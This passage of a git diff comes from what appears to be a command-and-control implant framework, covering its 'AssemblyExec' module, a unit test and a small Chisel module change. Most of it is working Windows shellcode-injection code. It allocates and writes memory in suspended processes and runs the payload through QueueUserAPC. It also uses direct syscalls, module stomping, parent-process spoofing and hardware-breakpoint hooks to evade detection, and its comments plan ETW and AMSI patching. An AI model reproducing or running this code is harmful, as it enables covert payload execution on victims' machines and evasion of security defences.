FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); - - // result += "Error: Process failed to start." << GetLastError() << "\n"; - return -1; - } - - PVOID remoteBuffer; - if(m_useSyscall) - { - // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp - SIZE_T sizeToAlloc = payload.size(); - - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - - Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); - Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); - } - else - { - remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - - WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); - - DWORD oldprotect = 0; - VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - - PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; - QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); - ResumeThread(piProcInfo.hThread); - } - - m_isProcessRuning=true; - m_processHandle = piProcInfo.hProcess; - std::thread thread([this] { killProcess(); }); - - DWORD dwRead; - CHAR chBuf[BUFSIZE]; - bSuccess = FALSE; - std::string out = ""; - std::string err = ""; - for (;;) - { - DWORD bytesAvailableOut = 0; - if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) - { - bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; - - std::string s(chBuf, dwRead); - out += s; - } - - DWORD bytesAvailableErr = 0; - if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) - { - bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; - - std::string s(chBuf, dwRead); - err += s; - } - - DWORD exitCode; - if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) - break; - - std::this_thread::sleep_for(std::chrono::milliseconds(5)); - } - - m_isProcessRuning = false; - - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - - CloseHandle(hParentProcess); - - thread.join(); - - result += "Stdout:\n"; - result += out; - result += "\n"; - if(!err.empty()) - { - result += "Stderr:\n"; - result += err; - result += "\n"; - } - - CloseHandle(piProcInfo.hProcess); - CloseHandle(piProcInfo.hThread); - - return 0; -} - - -int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result) -{ - HANDLE hChildStdOutRd = NULL; - HANDLE hChildStdOutWr = NULL; - HANDLE hChildStdErrRd = NULL; - HANDLE hChildStdErrWr = NULL; - - SECURITY_ATTRIBUTES sa; - // Set the bInheritHandle flag so pipe handles are inherited. - sa.nLength = sizeof(SECURITY_ATTRIBUTES); - sa.bInheritHandle = TRUE; - sa.lpSecurityDescriptor = NULL; - CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0); - SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); - CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); - SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); - - // Create the child process. - PROCESS_INFORMATION piProcInfo; - STARTUPINFO siStartInfo; - bool bSuccess = FALSE; - - // Set up members of the PROCESS_INFORMATION structure. - ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); - - // Set up members of the STARTUPINFO structure. - // This structure specifies the STDERR and STDOUT handles for redirection. - ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); - siStartInfo.cb = sizeof(STARTUPINFO); - siStartInfo.hStdError = hChildStdErrWr; - siStartInfo.hStdOutput = hChildStdOutWr; - siStartInfo.dwFlags |= STARTF_USESTDHANDLES; - - // Create the child process. - bSuccess = CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo); - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - - // If an error occurs, exit the application. - if ( ! bSuccess ) - { - result += "Error: Process failed to start.\n"; - return -1; - } - - PVOID remoteBuffer; - if(m_useSyscall) - { - // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp - SIZE_T sizeToAlloc = payload.size(); - - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - - Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); - Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); - } - else - { - remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - - WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); - - DWORD oldprotect = 0; - VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - - PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; - QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); - ResumeThread(piProcInfo.hThread); - } - - m_isProcessRuning=true; - m_processHandle = piProcInfo.hProcess; - std::thread thread([this] { killProcess(); }); - - DWORD dwRead; - CHAR chBuf[BUFSIZE]; - bSuccess = FALSE; - std::string out = ""; - std::string err = ""; - for (;;) - { - DWORD bytesAvailableOut = 0; - if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) - { - bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; - - std::string s(chBuf, dwRead); - out += s; - } - - DWORD bytesAvailableErr = 0; - if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) - { - bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; - - std::string s(chBuf, dwRead); - err += s; - } - - DWORD exitCode; - if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) - break; - - std::this_thread::sleep_for(std::chrono::milliseconds(5)); - } - - m_isProcessRuning = false; - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - - thread.join(); - - result += "Stdout:\n"; - result += out; - result += "\n"; - if(!err.empty()) - { - result += "Stderr:\n"; - result += err; - result += "\n"; - } - - CloseHandle(piProcInfo.hProcess); - CloseHandle(piProcInfo.hThread); - - return 0; -} - - -int AssemblyExec::killProcess() -{ - std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); - while (1) - { - if (!m_isProcessRuning) - break; - - std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); - auto elapse = std::chrono::duration_cast(now - begin).count(); - if(elapse>=maxDurationShellCode) - { - TerminateProcess(m_processHandle, 0); - break; - } - std::this_thread::sleep_for(std::chrono::milliseconds(100)); - } - - return 0; -} - + - No EFlags/RF + - Instruction pointer is Pc + */ + ExceptionInfo->ContextRecord->Pc = (DWORD64)exitThread; + return EXCEPTION_CONTINUE_EXECUTION; + } + +#else + #error Unsupported architecture +#endif + + return EXCEPTION_CONTINUE_SEARCH; +} + + +// Create new thread to run the shellcode, the memory use to inject the payload is taken from a DLL (Module Stomping) +// loaded specialy for this purpose. It avoid to use VirtualAlloc. +int AssemblyExec::createNewThread(const std::string& payload, std::string& result) +{ + StdCapture stdCapture; + stdCapture.BeginCapture(); + + char * ptr; + + // Module stomping + bool isModuleStomping = false; + if(isModuleStomping) + { + unsigned char sLib[] = "HologramWorld.dll"; + HMODULE hVictimLib = LoadLibrary((LPCSTR) sLib); + ptr = (char *) hVictimLib + 2*4096 + 12; + + DWORD oldprotect = 0; + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_READWRITE, &oldprotect); + RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); + } + else + { + DWORD oldprotect = 0; + ptr = (char *) VirtualAlloc(NULL, payload.size()+4096, MEM_COMMIT, PAGE_READWRITE); + RtlMoveMemory(ptr, (void *)payload.data(), payload.size()); + VirtualProtect((char *) ptr, payload.size() + 4096, PAGE_EXECUTE_READ, &oldprotect); + } + + HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0); + + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess"); + HANDLE phHwBpHandler; + int indexHWBP = 0; + set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); + + if (thread != NULL) + ResumeThread(thread); + + WaitForSingleObject(thread, maxDurationShellCode*1000); + + stdCapture.EndCapture(); + result+=stdCapture.GetCapture(); + + return 0; +} + + +// OPSEC function to switch to syscall +// OPSEC patch etw et amsi +// difficulte to do with the fact that we create the thread suspended and so the lib are not loaded yet. +// OPSEC function to choose the process to inject to + + +DWORD GetPidByName(const char * pName) +{ + PROCESSENTRY32 pEntry; + HANDLE snapshot; + + pEntry.dwSize = sizeof(PROCESSENTRY32); + snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (Process32First(snapshot, &pEntry) == TRUE) + { + while (Process32Next(snapshot, &pEntry) == TRUE) + { + if (_stricmp(pEntry.szExeFile, pName) == 0) + { + return pEntry.th32ProcessID; + } + } + } + CloseHandle(snapshot); + return 0; +} + + +// Create a new process in suspended mode to run the shellcode. +int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result) +{ + // Init handles + HANDLE hChildStdOutRd = NULL; + HANDLE hChildStdOutWr = NULL; + HANDLE hChildStdErrRd = NULL; + HANDLE hChildStdErrWr = NULL; + HANDLE hParentStdOutWr = NULL; + HANDLE hParentStdErrWr = NULL; + + // Set the bInheritHandle flag so pipe handles are inherited. + SECURITY_ATTRIBUTES sa; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + + CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0); + SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); + + // std::string pipeStdErr = "\\\\.\\pipe\\error"; + // int bufferSize = 512; + // hChildStdErrRd = CreateNamedPipeA(pipeStdErr.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); + // hChildStdErrWr = CreateFileA(pipeStdErr.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); + + // hChildStdErrWr = CreateFile("C:\\Users\\CyberVuln\\Desktop\\err.log", FILE_APPEND_DATA, FILE_SHARE_WRITE | FILE_SHARE_READ, &sa, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); + + CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); + SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); + + // std::string pipeStdOut = "\\\\.\\pipe\\output"; + // hChildStdOutRd = CreateNamedPipeA(pipeStdOut.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, bufferSize, bufferSize, 0, &sa); + // hChildStdOutWr = CreateFileA(pipeStdOut.c_str(), GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); + + // Prepare the parent child spoofing + DWORD dwPid = 0; + dwPid = GetPidByName(spoofedParent.c_str()); + if (dwPid == 0) + dwPid = GetCurrentProcessId(); + + HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); + if (!hParentProcess) + { + // result += "Error: Failed to open parent process." << GetLastError() << "\n"; + return 0; + } + + // Duplicate handles to the spoofed parent process + BOOL res = DuplicateHandle(GetCurrentProcess(), hChildStdOutWr, hParentProcess, &hParentStdOutWr, 0, TRUE, DUPLICATE_SAME_ACCESS); + res = DuplicateHandle(GetCurrentProcess(), hChildStdErrWr, hParentProcess, &hParentStdErrWr, 0, TRUE, DUPLICATE_SAME_ACCESS); + + // Set up members of the STARTUPINFOEX structure to specifies the STDERR and STDOUT handles for redirection. + STARTUPINFOEX siStartInfo = {}; + siStartInfo.StartupInfo.cb = sizeof(STARTUPINFOEX); + siStartInfo.StartupInfo.hStdError = hParentStdErrWr; + siStartInfo.StartupInfo.hStdOutput = hParentStdOutWr; + siStartInfo.StartupInfo.dwFlags |= STARTF_USESTDHANDLES; + + // Set up attributeList to set up the parent process + SIZE_T attributeListSize = 0; + InitializeProcThreadAttributeList(NULL, 1, 0, &attributeListSize); + + PPROC_THREAD_ATTRIBUTE_LIST attributeList = (PPROC_THREAD_ATTRIBUTE_LIST )HeapAlloc(GetProcessHeap(), 0, attributeListSize); + if (!attributeList) + { + // result += "Error: Failed to allocate memory for attribute list." << GetLastError() << "\n"; + + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); + + return 0; + } + + if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeListSize)) + { + // result += "Error: Failed to initialize attribute list." << GetLastError() << "\n"; + + HeapFree(GetProcessHeap(), 0, attributeList); + + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); + + return 0; + } + + if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) + { + // result += "Error: Failed to set parent process attribute." << GetLastError() << "\n"; + + DeleteProcThreadAttributeList(attributeList); + HeapFree(GetProcessHeap(), 0, attributeList); + + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); + + return 0; + } + + siStartInfo.lpAttributeList = attributeList; + + // Create the child process + PROCESS_INFORMATION piProcInfo; + ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); + bool bSuccess = CreateProcessA(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo); + + DeleteProcThreadAttributeList(attributeList); + HeapFree(GetProcessHeap(), 0, attributeList); + + // If an error occurs, exit the application. + if ( ! bSuccess ) + { + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); + + // result += "Error: Process failed to start." << GetLastError() << "\n"; + return -1; + } + + PVOID remoteBuffer; + if(m_useSyscall) + { + // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp + SIZE_T sizeToAlloc = payload.size(); + + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + + Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); + Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); + } + else + { + remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + + WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); + + DWORD oldprotect = 0; + VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; + QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); + ResumeThread(piProcInfo.hThread); + } + + m_isProcessRuning=true; + m_processHandle = piProcInfo.hProcess; + std::thread thread([this] { killProcess(); }); + + DWORD dwRead; + CHAR chBuf[BUFSIZE]; + bSuccess = FALSE; + std::string out = ""; + std::string err = ""; + for (;;) + { + DWORD bytesAvailableOut = 0; + if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) + { + bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; + + std::string s(chBuf, dwRead); + out += s; + } + + DWORD bytesAvailableErr = 0; + if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) + { + bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; + + std::string s(chBuf, dwRead); + err += s; + } + + DWORD exitCode; + if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) + break; + + std::this_thread::sleep_for(std::chrono::milliseconds(5)); + } + + m_isProcessRuning = false; + + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + + CloseHandle(hParentProcess); + + thread.join(); + + result += "Stdout:\n"; + result += out; + result += "\n"; + if(!err.empty()) + { + result += "Stderr:\n"; + result += err; + result += "\n"; + } + + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); + + return 0; +} + + +int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result) +{ + HANDLE hChildStdOutRd = NULL; + HANDLE hChildStdOutWr = NULL; + HANDLE hChildStdErrRd = NULL; + HANDLE hChildStdErrWr = NULL; + + SECURITY_ATTRIBUTES sa; + // Set the bInheritHandle flag so pipe handles are inherited. + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + CreatePipe(&hChildStdErrRd, &hChildStdErrWr, &sa, 0); + SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); + CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); + SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); + + // Create the child process. + PROCESS_INFORMATION piProcInfo; + STARTUPINFO siStartInfo; + bool bSuccess = FALSE; + + // Set up members of the PROCESS_INFORMATION structure. + ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); + + // Set up members of the STARTUPINFO structure. + // This structure specifies the STDERR and STDOUT handles for redirection. + ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) ); + siStartInfo.cb = sizeof(STARTUPINFO); + siStartInfo.hStdError = hChildStdErrWr; + siStartInfo.hStdOutput = hChildStdOutWr; + siStartInfo.dwFlags |= STARTF_USESTDHANDLES; + + // Create the child process. + bSuccess = CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo); + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + + // If an error occurs, exit the application. + if ( ! bSuccess ) + { + result += "Error: Process failed to start.\n"; + return -1; + } + + PVOID remoteBuffer; + if(m_useSyscall) + { + // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp + SIZE_T sizeToAlloc = payload.size(); + + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + + Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); + Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); + } + else + { + remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + + WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); + + DWORD oldprotect = 0; + VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; + QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); + ResumeThread(piProcInfo.hThread); + } + + m_isProcessRuning=true; + m_processHandle = piProcInfo.hProcess; + std::thread thread([this] { killProcess(); }); + + DWORD dwRead; + CHAR chBuf[BUFSIZE]; + bSuccess = FALSE; + std::string out = ""; + std::string err = ""; + for (;;) + { + DWORD bytesAvailableOut = 0; + if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) + { + bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; + + std::string s(chBuf, dwRead); + out += s; + } + + DWORD bytesAvailableErr = 0; + if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) + { + bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; + + std::string s(chBuf, dwRead); + err += s; + } + + DWORD exitCode; + if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) + break; + + std::this_thread::sleep_for(std::chrono::milliseconds(5)); + } + + m_isProcessRuning = false; + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + + thread.join(); + + result += "Stdout:\n"; + result += out; + result += "\n"; + if(!err.empty()) + { + result += "Stderr:\n"; + result += err; + result += "\n"; + } + + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); + + return 0; +} + + +int AssemblyExec::killProcess() +{ + std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); + while (1) + { + if (!m_isProcessRuning) + break; + + std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); + auto elapse = std::chrono::duration_cast(now - begin).count(); + if(elapse>=maxDurationShellCode) + { + TerminateProcess(m_processHandle, 0); + break; + } + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + } + + return 0; +} + #endif diff --git a/modules/AssemblyExec/AssemblyExec.hpp b/modules/AssemblyExec/AssemblyExec.hpp index 20ba429..05b54ca 100644 --- a/modules/AssemblyExec/AssemblyExec.hpp +++ b/modules/AssemblyExec/AssemblyExec.hpp @@ -19,6 +19,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int initConfig(const nlohmann::json &config); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_WINDOWS; diff --git a/modules/AssemblyExec/tests/testsAssemblyExec.cpp b/modules/AssemblyExec/tests/testsAssemblyExec.cpp index ede6f8b..b79d384 100644 --- a/modules/AssemblyExec/tests/testsAssemblyExec.cpp +++ b/modules/AssemblyExec/tests/testsAssemblyExec.cpp @@ -183,6 +183,25 @@ int main() ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted in spoofed-parent mode"); ok &= expectAssemblyMessage(message, dummyPath, "2", "--flag", "dummy exe spoofed-parent mode"); } + + { + AssemblyExec module; + nlohmann::json config; + config["process"] = "Z:\\c2core_missing_assemblyexec_target.exe"; + ok &= expect(module.initConfig(config) == 0, "initConfig should accept a custom process path"); + + C2Message message; + message.set_args("1"); + message.set_data("raw-bytes"); + C2Message retMessage; + + ok &= expect(module.process(message, retMessage) == 0, "missing process target should return through C2Message"); + ok &= expect(retMessage.errorCode() > 0, "missing process target should set an error code"); + ok &= expect(retMessage.returnvalue().find("Error: Process failed to start") != std::string::npos, "missing process target should explain the failure"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(retMessage, errorMsg) == 0, "missing process target should map error text"); + ok &= expect(errorMsg == retMessage.returnvalue(), "missing process target error text should come from returnvalue"); + } } return ok ? 0 : 1; diff --git a/modules/Chisel/Chisel.cpp b/modules/Chisel/Chisel.cpp index 5c105bf..ad15cbd 100644 --- a/modules/Chisel/Chisel.cpp +++ b/modules/Chisel/Chisel.cpp @@ -12,6 +12,12 @@ constexpr unsigned long long moduleHash = djb2(moduleName); #define BUFSIZE 512 +namespace +{ + constexpr int ERROR_OPEN_PROCESS = 1; + constexpr int ERROR_CREATE_PROCESS = 2; +} + #ifdef _WIN32 __declspec(dllexport) Chisel* A_ChiselConstructor() @@ -189,13 +195,22 @@ int Chisel::process(C2Message &c2Message, C2Message &c2RetMessage) { pid = c2Message.pid(); HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); - TerminateProcess(hProc,9); + if(hProc == NULL) + { + c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS); + result = "OpenProcess failed."; + } + else + { + TerminateProcess(hProc,9); + CloseHandle(hProc); + 